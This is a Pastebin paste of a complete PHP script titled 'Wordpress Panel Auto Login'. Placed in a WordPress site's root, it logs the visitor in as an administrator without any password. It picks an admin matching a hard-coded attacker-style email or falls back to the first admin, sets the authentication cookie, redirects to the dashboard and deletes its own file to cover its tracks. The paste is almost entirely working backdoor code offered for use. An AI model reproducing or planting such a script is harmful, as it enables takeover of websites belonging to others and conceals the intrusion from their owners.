Advertisement
willysec_id

Wordpress Panel Auto Login

Jan 3rd, 2024
959
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.14 KB | Cybersecurity | 0 0
  1. <?php
  2. //Place this file to root of wordpress scripts
  3.  
  4. //Logs to Email
  5. $email = 'mi77ihaxor@gmail.com';
  6.  
  7. /**
  8.  * @param string $email
  9.  * @return void
  10.  */
  11. function auto_login( $email ) {
  12.     if ( ! is_user_logged_in() ) {
  13.         $user_id       = get_user_id( $email );
  14.         $user          = get_user_by( 'ID', $user_id );
  15.         $redirect_page = admin_url() . '?platform=hpanel';
  16.         if ( ! $user ) {
  17.             wp_redirect( $redirect_page );
  18.             exit();
  19.         }
  20.         $login_username = $user->user_login;
  21.         wp_set_current_user( $user_id, $login_username );
  22.         wp_set_auth_cookie( $user_id );
  23.         do_action( 'wp_login', $login_username, $user );
  24.         // Go to admin area
  25.         wp_redirect( $redirect_page );
  26.         exit();
  27.     }
  28. }
  29.  
  30. /**
  31.  * @param string $email
  32.  * @return void
  33.  */
  34. function get_user_id( $email )
  35. {
  36.     $admins = get_users( [
  37.         'role' => 'administrator',
  38.         'search' => '*' . $email . '*',
  39.         'search_columns' => ['user_email'],
  40.     ] );
  41.     if (isset($admins[0]->ID)) {
  42.         return $admins[0]->ID;
  43.     }
  44.  
  45.     $admins = get_users( [ 'role' => 'administrator' ] );
  46.     if (isset($admins[0]->ID)) {
  47.         return $admins[0]->ID;
  48.     }
  49.  
  50.     return null;
  51. }
  52.  
  53. // Initialize WordPress
  54. define( 'WP_USE_THEMES', true );
  55. $timeSinceScriptCreation = time() - stat( __FILE__ )['mtime'];
  56. // Delete itself to make sure it is executed only once
  57. unlink( __FILE__ );
  58. if ( ! isset( $wp_did_header ) ) {
  59.     $wp_did_header = true;
  60.     // Load the WordPress library.
  61.     require_once( dirname( __FILE__ ) . '/wp-load.php' );
  62.     // If the user is already logged in just redirect it to admin area
  63.     if ( is_user_logged_in() ) {
  64.         $redirect_page = admin_url() . '?platform=hpanel';
  65.         wp_redirect( $redirect_page );
  66.         exit();
  67.     }
  68.     // Avalon auto-login
  69.     // If script is older than 15 minutes, doesn't log in as admin
  70.     if ( $timeSinceScriptCreation < 900 ) {
  71.         auto_login($email);
  72.     }
  73.     // Set up the WordPress query
  74.     wp();
  75.     // Load the theme template
  76.     require_once( ABSPATH . WPINC . '/template-loader.php' );
  77. }
  78.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement